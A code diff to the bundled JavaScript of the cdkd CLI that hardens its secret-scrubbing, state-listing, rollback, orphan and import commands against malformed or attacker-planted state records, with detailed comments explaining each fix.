@@ -66871,6 +67021,7 @@ async function scrubCommand(stacks, options) {
66871
67021
  else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
66872
67022
  if (failures.length > 0) throw scrubStacksFailedError(failures);
66873
67023
  if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, false);
67024
+ if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
66874
67025
  if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0)) throw new ScrubNeededError();
66875
67026
  }
66876
67027
  /**
@@ -67461,6 +67612,19 @@ function orderScrubTargets(targets) {
67461
67612
  * through the real backend, so the read-modify-write still sees S3 rather than
67462
67613
  * a cache, and its ETag precondition still means what it says.
67463
67614
  */
67615
+ /**
67616
+ * The finding a `--dry-run` raises for a record whose resources map it could
67617
+ * not read (issue go-to-k/cdkd#3018).
67618
+ *
67619
+ * `ScrubRefusalError`, so it carries scrub's exit **2**: `1` means "--fail
67620
+ * looked and found a leak -- rotate the secret", and this is the opposite
67621
+ * remedy ("repair the record and re-run"). Without it the run exits 0, or 1
67622
+ * under `--fail` via the SILENT `ScrubNeededError`, whose suppression would
67623
+ * also swallow this text.
67624
+ */
67625
+ function malformedRecordsAuditedError(stackNames) {
67626
+ return new ScrubRefusalError(`${stackNames.length} stack(s) were audited with an EMPTY resource set because their state record has no readable 'resources' map: ${stackNames.join(", ")}. The report above describes their outputs only — nothing is known about their resources, so this run cannot certify them clean. See the warnings above for the record to inspect.`, STATE_RESOURCES_MALFORMED);
67627
+ }
67464
67628
  function memoizeCrossStackStateReads(backend) {
67465
67629
  const view = Object.create(backend);
67466
67630
  let listed;
@@ -68068,6 +68232,80 @@ function isRegionAmbiguousRefusal(err) {
68068
68232
  return err instanceof Error && errorCauseChain(err).some((link) => link instanceof DynamicReferenceRegionAmbiguousError);
68069
68233
  }
68070
68234
  /**
68235
+ * The marker the resolver's NAMELESS-dynamic-reference throw carries
68236
+ * (`Dynamic reference: <service> PARAMETER_NAME is required`).
68237
+ *
68238
+ * Pinned against the resolver's own literal by
68239
+ * `tests/unit/cli/scrub-nameless-dynamic-ref.test.ts`, because this is a
68240
+ * consumer of a string the resolver owns: a reword there would otherwise make
68241
+ * the predicate below silently stop matching and restore the very silence it
68242
+ * exists to remove (`.claude/rules/testing.md` -> "A fixture that greps
68243
+ * cdkd's OWN output must fail loudly when the format drifts").
68244
+ */
68245
+ const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
68246
+ /**
68247
+ * The prefix a matching message must ALSO carry. Without it the bare tails
68248
+ * above are reachable from an unrelated throw: `resolveParameters` raises
68249
+ * `Parameter ${name} is required but no value was provided`, so a template
68250
+ * parameter literally NAMED `PARAMETER_NAME` would flip an ordinary
68251
+ * best-effort miss into a whole-stack refusal.
68252
+ */
68253
+ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
68254
+ /**
68255
+ * A NAMELESS dynamic reference is NOT a best-effort miss, however unresolvable
68256
+ * the rest of the resource is (issue go-to-k/cdkd#2692) — `{{resolve:ssm-secure}}`
68257
+ * with no parameter name, or `{{resolve:secretsmanager}}` /
68258
+ * `{{resolve:secretsmanager:}}` with no secret id.
68259
+ *
68260
+ * The resolver raises a bare `Error` for both, so they fall through the
68261
+ * typed-refusal test above into the `debug` below and `cdkd scrub` reports the
68262
+ * run CLEAN. What makes that wrong is WHERE the throw happens: the token loop
68263
+ * in `resolveDynamicReferences` has NO per-token `try`, so either one abandons
68264
+ * every remaining `{{resolve:...}}` token in the leaf. A real
68265
+ * `{{resolve:secretsmanager:prod/db}}` after it is never fetched and records NO
68266
+ * needle — and a legacy plaintext already in `state.json` then survives under
68267
+ * `No plaintext secrets found`, exit 0.
68268
+ *
68269
+ * BOTH spellings are matched, and the second is the DOMINANT one. The first
68270
+ * cut matched `PARAMETER_NAME is required` alone, leaving the more common way
68271
+ * to write a secret silent — and the fence certified that as deliberate by
68272
+ * asserting the marker occurred exactly once in the resolver, which passed
68273
+ * precisely BECAUSE the other throw spells it differently.
68274
+ *
68275
+ * WHY THE SET STOPS AT "is required", having once been widened to the whole
68276
+ * `Dynamic reference:` family and reverted. The loop's missing per-token `try`
68277
+ * means four SIBLING failures — a deleted SSM parameter, a secret with no
68278
+ * `SecretString`, a missing `JSON_KEY`, a non-JSON secret — abandon the leaf
68279
+ * exactly the same way, so on the surface they belong here. They do not,
68280
+ * because scrub resolves with template DEFAULTS and takes no `--parameters`:
68281
+ * an `Fn::Sub` that warn-and-KEEPS its raw `${Field}` produces a JSON_KEY miss
68282
+ * on a perfectly healthy stack, so refusing on that class refuses ordinary
68283
+ * stacks (measured — it reddened
68284
+ * `tests/unit/cli/commands/scrub-cross-region-secret.test.ts`). A nameless
68285
+ * reference is far narrower: an UNBOUND variable keeps its literal `${...}`
68286
+ * rather than vanishing, so ordinary missing-parameter resolution cannot
68287
+ * produce one.
68288
+ *
68289
+ * That is narrower, NOT universal, and the difference is stated rather than
68290
+ * glossed: a parameter DECLARED with `Default: ''` binds the empty string
68291
+ * verbatim (`isUnboundTemplateParameter` returns false once `Default` is
68292
+ * present), so `{{resolve:ssm-secure:${P}}}` assembles to
68293
+ * `{{resolve:ssm-secure:}}` and refuses here — while the same stack deploys
68294
+ * fine under `--parameters P=/real/name`. The failure is fail-CLOSED (a
68295
+ * refusal, never a silent clean run) and the shape is a rare one, so it is
68296
+ * accepted rather than worked around; go-to-k/cdkd#3160 carries it alongside
68297
+ * the sibling class, which needs a countable unverifiable-leaf finding rather
68298
+ * than a refusal.
68299
+ *
68300
+ * It is a loudness REGRESSION rather than a new gap: before go-to-k/cdkd#2689
68301
+ * fixed `ssmParameterName`, this input produced a bogus `secretName` and
68302
+ * therefore an `ambiguous` verdict, whose typed error scrub already re-raises.
68303
+ * The old, wrong-in-substance refusal was backstopping this one.
68304
+ */
68305
+ function isNamelessDynamicReferenceFailure(err) {
68306
+ return err instanceof Error && errorCauseChain(err).some((link) => link instanceof Error && link.message.includes(DYNAMIC_REFERENCE_PREFIX) && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((marker) => link.message.includes(marker)));
68307
+ }
68308
+ /**
68071
68309
  * A secrets map with its OWN identity whose entries ARE `target`'s (issue
68072
68310
  * #2531): every read and write goes to `target`; nothing is stored here.
68073
68311
  *
@@ -68511,6 +68749,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68511
68749
  };
68512
68750
  }
68513
68751
  const state = loaded.state;
68752
+ let malformedResources;
68753
+ if (opts.dryRun) {
68754
+ if (repairMalformedResourcesForReadOnly(state)) {
68755
+ malformedResources = true;
68756
+ logger.warn(malformedResourcesWarning(stack.stackName, region));
68757
+ }
68758
+ } else if (!hasReadableResources(state)) throw new ScrubRefusalError(malformedStateRefusalMessage(stack.stackName, region), STATE_RESOURCES_MALFORMED);
68514
68759
  const perResourceTemplateProps = /* @__PURE__ */ new Map();
68515
68760
  const outputsTemplateSource = {};
68516
68761
  const resolvers = new ScrubResolvers(region);
@@ -68555,7 +68800,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68555
68800
  const collisions = [];
68556
68801
  let outputsSourceUntrusted = false;
68557
68802
  await withSharedDrainBudget(async () => {
68558
- for (const logicalId of Object.keys(state.resources)) {
68803
+ for (const logicalId of Object.keys(state.resources ?? {})) {
68559
68804
  const templateResource = templateResources[logicalId];
68560
68805
  if (!templateResource?.Properties) continue;
68561
68806
  const recordedSecretValues = /* @__PURE__ */ new Map();
@@ -68572,7 +68817,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68572
68817
  try {
68573
68818
  await resolver.resolve(resolveInput, resourceContext);
68574
68819
  } catch (err) {
68575
- if (isRegionAmbiguousRefusal(err)) throw err;
68820
+ if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
68576
68821
  logger.debug(`Resolution of ${logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
68577
68822
  }
68578
68823
  perResourceTemplateProps.set(logicalId, templateResource.Properties);
@@ -68594,7 +68839,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68594
68839
  try {
68595
68840
  await resolver.resolve(resolveInput, resolverContext(recordedSecretValues));
68596
68841
  } catch (err) {
68597
- if (isRegionAmbiguousRefusal(err)) throw err;
68842
+ if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
68598
68843
  logger.debug(`Resolution of orphan record ${record.logicalId} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), recordedSecretValues)}`);
68599
68844
  }
68600
68845
  }
@@ -68617,7 +68862,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68617
68862
  try {
68618
68863
  exportName = await resolver.resolve(nameSource, nameContext);
68619
68864
  } catch (err) {
68620
- if (isRegionAmbiguousRefusal(err)) throw err;
68865
+ if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
68621
68866
  nameFailed = true;
68622
68867
  nameError = err;
68623
68868
  }
@@ -68655,7 +68900,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68655
68900
  try {
68656
68901
  await resolver.resolve(valueSource, valueContext);
68657
68902
  } catch (err) {
68658
- if (isRegionAmbiguousRefusal(err)) throw err;
68903
+ if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
68659
68904
  logger.debug(`Resolution of output ${name} during scrub was partial: ${maskSecretsInText(err instanceof Error ? err.message : String(err), outputSecrets)}`);
68660
68905
  }
68661
68906
  }
@@ -68674,12 +68919,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68674
68919
  secretsFound: 0,
68675
68920
  secretBearingKeys: secretBearingKeys.length,
68676
68921
  unverifiableReads: prePassFindings.unverifiable.length,
68922
+ ...malformedResources ? { malformedResources } : {},
68677
68923
  outputs: state.outputs,
68678
68924
  exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
68679
68925
  };
68680
68926
  let recordsChanged = 0;
68681
68927
  const newResources = {};
68682
- for (const [logicalId, record] of Object.entries(state.resources)) {
68928
+ for (const [logicalId, record] of Object.entries(state.resources ?? {})) {
68683
68929
  const secrets = perResourceSecrets.get(logicalId);
68684
68930
  const templateProps = perResourceTemplateProps.get(logicalId);
68685
68931
  const ownSecrets = secrets ?? /* @__PURE__ */ new Map();
@@ -68722,6 +68968,7 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
68722
68968
  secretsFound: totalSecrets,
68723
68969
  secretBearingKeys: secretBearingKeys.length,
68724
68970
  unverifiableReads: prePassFindings.unverifiable.length,
68971
+ ...malformedResources ? { malformedResources } : {},
68725
68972
  outputs: newOutputs,
68726
68973
  exportNameDisplay: (name) => secretSafeKeyDisplay(name, outputSecrets)
68727
68974
  };
@@ -73542,8 +73789,12 @@ function createStateMigrateCommand() {
73542
73789
  * or destroyed out-of-band) are reported at the root level so they stay
73543
73790
  * visible to `cdkd state list` rather than vanishing silently.
73544
73791
  *
73545
- * A self-link (parent equals self) is treated as a missing parent — the
73546
- * node lands at the root rather than building an infinite tree.
73792
+ * Every node on a parent LOOP lands at the root rather than building an
73793
+ * infinite tree. A self-link (parent equals self) is the one-node loop. A
73794
+ * longer one (A names B, B names A) used to be linked as given, so each member
73795
+ * was filed as the other's child, none was a root, and the whole loop vanished
73796
+ * from both the text and the JSON view. A node hanging off a loop still sits
73797
+ * under its parent, which is now visible (issue #3069).
73547
73798
  *
73548
73799
  * The roots and every child list are sorted alphabetically by `stackName`,
73549
73800
  * then by `region` (legacy `undefined` last), so output is stable across
@@ -73556,14 +73807,27 @@ function buildStackTree(entries) {
73556
73807
  ...entry,
73557
73808
  children: []
73558
73809
  });
73810
+ const parentOf = (node) => node.parentStack === void 0 ? void 0 : byKey.get(refKey(node.parentStack, node.parentRegion));
73811
+ const loopMembers = /* @__PURE__ */ new Set();
73812
+ const settled = /* @__PURE__ */ new Set();
73813
+ for (const start of byKey.values()) {
73814
+ const path = [];
73815
+ const onPath = /* @__PURE__ */ new Map();
73816
+ let current = start;
73817
+ while (current !== void 0 && !settled.has(current) && !onPath.has(current)) {
73818
+ onPath.set(current, path.length);
73819
+ path.push(current);
73820
+ current = parentOf(current);
73821
+ }
73822
+ if (current !== void 0 && onPath.has(current)) for (const member of path.slice(onPath.get(current))) loopMembers.add(member);
73823
+ for (const node of path) settled.add(node);
73824
+ }
73559
73825
  const roots = [];
73560
73826
  for (const node of byKey.values()) {
73561
- if (node.parentStack !== void 0) {
73562
- const parent = byKey.get(refKey(node.parentStack, node.parentRegion));
73563
- if (parent && parent !== node) {
73564
- parent.children.push(node);
73565
- continue;
73566
- }
73827
+ const parent = parentOf(node);
73828
+ if (parent && !loopMembers.has(node)) {
73829
+ parent.children.push(node);
73830
+ continue;
73567
73831
  }
73568
73832
  roots.push(node);
73569
73833
  }
@@ -77209,14 +77473,81 @@ function createExportCommand() {
77209
77473
  //#endregion
77210
77474
  //#region src/cli/commands/state.ts
77211
77475
  /**
77212
- * Render `Stack` or `Stack (region)` — used by every state subcommand's
77213
- * default output mode and ambiguity error messages.
77476
+ * The reasons a `--long` row carries for a failed read. FIXED text, never the
77477
+ * caught error's message: `getState`'s invalid-JSON refusal interpolates V8's
77478
+ * `SyntaxError`, which quotes bytes of the state body, and anyone with
77479
+ * `s3:PutObject` on the bucket chooses those bytes. Sanitizing or truncating
77480
+ * that message does not redact it, so a planted plaintext would reach both
77481
+ * `--long` and `--long --json` (issue #3069). `cdkd state show` for the one
77482
+ * stack is where the specific error is reported.
77483
+ *
77484
+ * The failure is deliberately not classified further: `getState` wraps a parse
77485
+ * refusal, the unsupported-version refusal and an AWS read failure in the same
77486
+ * `StateError`, so any finer reason would be a guess about the class.
77214
77487
  */
77215
- function formatStackRef(ref) {
77216
- return ref.region ? `${ref.stackName} (${ref.region})` : ref.stackName;
77488
+ const STATE_READ_FAILED_REASON = "state record could not be read; run `cdkd state show` for the error";
77489
+ const LOCK_READ_FAILED_REASON = "lock could not be read; run `cdkd state show` for the error";
77490
+ /**
77491
+ * The lock reason for a LEGACY row (no region). `cdkd state show` refuses such
77492
+ * a record before it reads the lock, so pointing there would send the user to
77493
+ * a command that never shows the error.
77494
+ */
77495
+ const LEGACY_LOCK_READ_FAILED_REASON = "lock could not be read";
77496
+ /**
77497
+ * The record-side reason for a record that WAS read but whose `resources` is
77498
+ * present and not a JSON object. `parseStateBody` validates nothing inside the
77499
+ * root, so `Object.keys` would count a planted string per character or a list
77500
+ * per element -- a made-up number, and for a string of millions of characters
77501
+ * an array of that many keys, built outside {@link readOrFailure}'s `try`. It
77502
+ * reuses `stateReadError` so `resourceCount` stays `null` exactly when a reason
77503
+ * is set: the text row never prints `Resources: null`, and the warning counts
77504
+ * the row (issue #3069).
77505
+ */
77506
+ const RESOURCES_MALFORMED_REASON = "resources is not a JSON object; run `cdkd state show --json` to see the record";
77507
+ /**
77508
+ * A record's resource count, or `null` when its `resources` is not a JSON
77509
+ * object ({@link RESOURCES_MALFORMED_REASON}). An absent or `null` bag counts
77510
+ * as zero, the tolerance `docs/cli-state.md` documents for it.
77511
+ */
77512
+ function resourceCountOrNull(resources) {
77513
+ if (resources === void 0 || resources === null) return 0;
77514
+ if (typeof resources !== "object" || Array.isArray(resources)) return null;
77515
+ return Object.keys(resources).length;
77217
77516
  }
77218
77517
  /**
77219
- * {@link formatStackRef} for a sentence a CONFIRMATION PROMPT renders.
77518
+ * Run one read and report whether it threw, WITHOUT keeping the error. The
77519
+ * error is dropped on purpose ({@link STATE_READ_FAILED_REASON} says why): a
77520
+ * caller that never holds it cannot copy it into a row.
77521
+ */
77522
+ async function readOrFailure(read) {
77523
+ try {
77524
+ return {
77525
+ ok: true,
77526
+ value: await read()
77527
+ };
77528
+ } catch {
77529
+ return { ok: false };
77530
+ }
77531
+ }
77532
+ /**
77533
+ * A record's `lastModified` as an ISO string, or `null` when it is not a
77534
+ * timestamp `Date` can represent. `parseStateBody` does not validate the
77535
+ * field, and `toISOString()` THROWS a `RangeError` for any number outside
77536
+ * JavaScript's date range (`1e300`, `NaN`-producing values, `-1e20`). That
77537
+ * throw sits AFTER {@link readOrFailure} reported success, so without this
77538
+ * check one planted record would still reject the whole `--long` listing
77539
+ * (issue #3069, security review).
77540
+ */
77541
+ function isoTimestampOrNull(value) {
77542
+ if (typeof value !== "number" || !Number.isFinite(value)) return null;
77543
+ const date = new Date(value);
77544
+ return Number.isNaN(date.getTime()) ? null : date.toISOString();
77545
+ }
77546
+ /**
77547
+ * Render `Stack` or `Stack (region)` for a line a terminal renders: a
77548
+ * CONFIRMATION PROMPT's sentence, and every `state list` text view -- the
77549
+ * default one-reference-per-line listing and the `--long` / `--tree` rows
77550
+ * (issue #3069). The unsanitized twin it replaced lost its last caller there.
77220
77551
  *
77221
77552
  * Both halves come from an S3 key segment (or, for a legacy record, a state
77222
77553
  * body), so both are attacker-influenced in exactly the way issue #2170 round
@@ -77374,7 +77705,7 @@ async function stateListCommand(options) {
77374
77705
  return;
77375
77706
  }
77376
77707
  if (!options.long && !options.json) {
77377
- for (const ref of refs) process.stdout.write(`${formatStackRef(ref)}\n`);
77708
+ for (const ref of refs) process.stdout.write(`${formatStackRefSafe(ref)}\n`);
77378
77709
  return;
77379
77710
  }
77380
77711
  if (options.json && !options.long) {
@@ -77387,30 +77718,35 @@ async function stateListCommand(options) {
77387
77718
  }
77388
77719
  const details = await Promise.all(refs.map(async (ref) => {
77389
77720
  const lookupRegion = ref.region ?? "";
77390
- const [stateResult, locked] = await Promise.all([lookupRegion ? setup.stateBackend.getState(ref.stackName, lookupRegion) : Promise.resolve(null), setup.lockManager.isLocked(ref.stackName, ref.region)]);
77391
- const state = stateResult?.state;
77721
+ const [stateRead, lockRead] = await Promise.all([readOrFailure(() => lookupRegion ? setup.stateBackend.getState(ref.stackName, lookupRegion) : Promise.resolve(null)), readOrFailure(() => setup.lockManager.isLocked(ref.stackName, ref.region))]);
77722
+ const state = stateRead.ok ? stateRead.value?.state : void 0;
77723
+ const resourceCount = !stateRead.ok ? null : state ? resourceCountOrNull(state.resources) : 0;
77392
77724
  return {
77393
77725
  stackName: ref.stackName,
77394
77726
  region: ref.region ?? null,
77395
- resourceCount: state ? Object.keys(state.resources ?? {}).length : 0,
77396
- lastModified: state && typeof state.lastModified === "number" ? new Date(state.lastModified).toISOString() : null,
77397
- locked
77727
+ resourceCount,
77728
+ lastModified: state ? isoTimestampOrNull(state.lastModified) : null,
77729
+ locked: lockRead.ok ? lockRead.value : null,
77730
+ stateReadError: !stateRead.ok ? STATE_READ_FAILED_REASON : resourceCount === null ? RESOURCES_MALFORMED_REASON : null,
77731
+ lockReadError: lockRead.ok ? null : ref.region ? LOCK_READ_FAILED_REASON : LEGACY_LOCK_READ_FAILED_REASON
77398
77732
  };
77399
77733
  }));
77734
+ const degraded = details.filter((d) => d.stateReadError !== null || d.lockReadError !== null);
77735
+ if (degraded.length > 0) logger.warn(`${degraded.length} of ${details.length} stack(s) could not be fully read or counted; their rows say why.`);
77400
77736
  if (options.json) {
77401
77737
  process.stdout.write(`${JSON.stringify(details, null, 2)}\n`);
77402
77738
  return;
77403
77739
  }
77404
77740
  const lines = [];
77405
77741
  for (const detail of details) {
77406
- lines.push(formatStackRef({
77742
+ lines.push(formatStackRefSafe({
77407
77743
  stackName: detail.stackName,
77408
77744
  ...detail.region ? { region: detail.region } : {}
77409
77745
  }));
77410
- lines.push(` Region: ${detail.region ?? "(legacy)"}`);
77411
- lines.push(` Resources: ${detail.resourceCount}`);
77746
+ lines.push(` Region: ${detail.region === null ? "(legacy)" : safe$1(detail.region)}`);
77747
+ lines.push(` Resources: ${detail.stateReadError !== null ? `unknown (${detail.stateReadError})` : String(detail.resourceCount)}`);
77412
77748
  lines.push(` Last Modified: ${detail.lastModified ?? "unknown"}`);
77413
- lines.push(` Lock: ${detail.locked ? "locked" : "unlocked"}`);
77749
+ lines.push(` Lock: ${detail.lockReadError !== null ? `unknown (${detail.lockReadError})` : detail.locked ? "locked" : "unlocked"}`);
77414
77750
  lines.push("");
77415
77751
  }
77416
77752
  if (lines.length > 0) {
@@ -77447,12 +77783,13 @@ async function renderTreeMode(refs, stateBackend, asJson) {
77447
77783
  region: ref.region
77448
77784
  };
77449
77785
  }
77786
+ const linkIsValid = typeof state?.parentStack === "string" && (state.parentRegion === void 0 || typeof state.parentRegion === "string");
77450
77787
  return {
77451
77788
  stackName: ref.stackName,
77452
77789
  region: ref.region,
77453
- ...state?.parentStack !== void 0 && { parentStack: state.parentStack },
77454
- ...state?.parentLogicalId !== void 0 && { parentLogicalId: state.parentLogicalId },
77455
- ...state?.parentRegion !== void 0 && { parentRegion: state.parentRegion }
77790
+ ...linkIsValid && { parentStack: state.parentStack },
77791
+ ...linkIsValid && typeof state?.parentLogicalId === "string" && { parentLogicalId: state.parentLogicalId },
77792
+ ...linkIsValid && typeof state?.parentRegion === "string" && { parentRegion: state.parentRegion }
77456
77793
  };
77457
77794
  }));
77458
77795
  const roots = buildStackTree(entries);
@@ -77461,7 +77798,7 @@ async function renderTreeMode(refs, stateBackend, asJson) {
77461
77798
  return;
77462
77799
  }
77463
77800
  if (roots.length === 0) return;
77464
- const rendered = renderStackTreeAscii(roots, (node) => formatStackRef({
77801
+ const rendered = renderStackTreeAscii(roots, (node) => formatStackRefSafe({
77465
77802
  stackName: node.stackName,
77466
77803
  ...node.region ? { region: node.region } : {}
77467
77804
  }));
@@ -79020,6 +79357,7 @@ async function rollbackCommand(stackArg, options) {
79020
79357
  if (!journal || journal.segments.length === 0) throw new Error(`Nothing to roll back for '${safe(stackName)}' (${safe(region)}). Run 'cdkd deploy' to (re)deploy, or 'cdkd destroy' to clean up.`);
79021
79358
  if (!stateData) throw new Error(`Rollback journal exists for '${safe(stackName)}' (${safe(region)}) but its state.json is missing (keys: ${safe(`${setup.prefix}/${stackName}/${region}`)}/state.json and .../rollback-journal.json). State appears corrupted — inspect the bucket manually.`);
79022
79359
  const baseState = stateData.state;
79360
+ refuseMalformedState(baseState, stackName, region);
79023
79361
  const stateResources = { ...baseState.resources };
79024
79362
  const mintedOrphans = [];
79025
79363
  const orphanLogicalIds = new Set(options.orphan ?? []);
@@ -81156,7 +81494,7 @@ async function rewriteResourceReferences(state, orphanLogicalIds, providerRegist
81156
81494
  const rewrites = [];
81157
81495
  const unresolvable = [];
81158
81496
  const newResources = {};
81159
- for (const [logicalId, resource] of Object.entries(state.resources)) {
81497
+ for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
81160
81498
  if (orphanSet.has(logicalId)) continue;
81161
81499
  const rewrittenProperties = await rewriteValue(resource.properties, `properties`, logicalId, orphanSet, fetcher, rewrites, unresolvable);
81162
81500
  const rewrittenAttributes = resource.attributes ? await rewriteValue(resource.attributes, `attributes`, logicalId, orphanSet, fetcher, rewrites, unresolvable) : void 0;
@@ -81491,9 +81829,10 @@ async function orphanCommand(pathArgs, options) {
81491
81829
  const stateData = await stateBackend.getState(stackInfo.stackName, targetRegion);
81492
81830
  if (!stateData) throw new Error(`No state found for stack '${stackInfo.stackName}' (${targetRegion}). Nothing to orphan. (Did the stack get deployed?)`);
81493
81831
  const { state, etag, migrationPending } = stateData;
81832
+ refuseMalformedState(state, stackInfo.stackName, targetRegion);
81494
81833
  const missing = orphanLogicalIds.filter((id) => !(id in state.resources));
81495
81834
  if (missing.length > 0) {
81496
- const have = Object.keys(state.resources).join(", ");
81835
+ const have = Object.keys(state.resources ?? {}).join(", ");
81497
81836
  throw new Error(`Resource(s) not in state for stack '${stackInfo.stackName}' (${targetRegion}): ${missing.join(", ")}.\nAvailable logical IDs: ${have}`);
81498
81837
  }
81499
81838
  const providerRegistry = new ProviderRegistry();
@@ -82069,6 +82408,7 @@ async function importCommand(stackArg, options) {
82069
82408
  }
82070
82409
  const existingResult = await stateBackend.getState(stackInfo.stackName, targetRegion);
82071
82410
  const existingState = existingResult?.state ?? null;
82411
+ if (existingState) refuseMalformedState(existingState, stackInfo.stackName, targetRegion);
82072
82412
  const existingEtag = existingResult?.etag;
82073
82413
  const migrationPending = existingResult?.migrationPending ?? false;
82074
82414
  if (existingState) {
@@ -82077,7 +82417,7 @@ async function importCommand(stackArg, options) {
82077
82417
  } else {
82078
82418
  const conflicts = [...overrides.keys()].filter((id) => Object.prototype.hasOwnProperty.call(existingState.resources, id));
82079
82419
  if (conflicts.length > 0 && !options.force) throw new Error(`Selective import would overwrite resource(s) already in state: ${conflicts.join(", ")}. Pass --force to confirm the overwrite, or remove these IDs from --resource / --resource-mapping.`);
82080
- const preservedCount = Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length;
82420
+ const preservedCount = Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length;
82081
82421
  logger.info(`Merging into existing state for ${stackInfo.stackName} (${targetRegion}): preserving ${preservedCount} unlisted resource(s)` + (conflicts.length > 0 ? `, overwriting ${conflicts.length} listed entry(ies)` : ""));
82082
82422
  }
82083
82423
  }
@@ -82138,7 +82478,7 @@ async function importCommand(stackArg, options) {
82138
82478
  }
82139
82479
  if (!options.yes) {
82140
82480
  const importedCount = importedRows.length;
82141
- const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources).filter((id) => !overrides.has(id)).length : 0;
82481
+ const preservedCount = selectiveMode && existingState ? Object.keys(existingState.resources ?? {}).filter((id) => !overrides.has(id)).length : 0;
82142
82482
  const totalAfter = importedCount + preservedCount;
82143
82483
  const breakdown = preservedCount > 0 ? ` (${importedCount} new/overwritten + ${preservedCount} preserved)` : "";
82144
82484
  if (!await confirmPrompt(`Write state for ${stackInfo.stackName} (${targetRegion}) with ${totalAfter} resource(s)${breakdown}?`)) {
@@ -82705,7 +83045,7 @@ function defaultOnlyParameterTemplate(template) {
82705
83045
  */
82706
83046
  async function resolveImportedProperties(stackState, template, region, stateBackend, logger) {
82707
83047
  const unsafeObservedBaselineLogicalIds = /* @__PURE__ */ new Set();
82708
- const entries = Object.entries(stackState.resources);
83048
+ const entries = Object.entries(stackState.resources ?? {});
82709
83049
  if (entries.length === 0) return unsafeObservedBaselineLogicalIds;
82710
83050
  const resolver = new IntrinsicFunctionResolver(region);
82711
83051
  let parameters = {};
@@ -83121,7 +83461,7 @@ const NO_RECORDED_SECRETS = /* @__PURE__ */ new Map();
83121
83461
  * [#2828](https://github.com/go-to-k/cdkd/issues/2828)).
83122
83462
  */
83123
83463
  async function captureObservedForImportedResources(stackState, providerRegistry, logger, unsafeObservedBaselineLogicalIds, rebuiltLogicalIds) {
83124
- const entries = Object.entries(stackState.resources);
83464
+ const entries = Object.entries(stackState.resources ?? {});
83125
83465
  if (entries.length === 0) return;
83126
83466
  await Promise.all(entries.map(async ([logicalId, resource]) => {
83127
83467
  if (resource.observedBaselineRefused === true && !rebuiltLogicalIds.has(logicalId)) {
@@ -92658,4 +92998,4 @@ function buildProgram() {
92658
92998
 
92659
92999
  //#endregion
92660
93000
  export { buildProgram };
92661
- //# sourceMappingURL=program-D30EPjOn.js.map
93001
+ //# sourceMappingURL=program-Ckl60p0E.js.map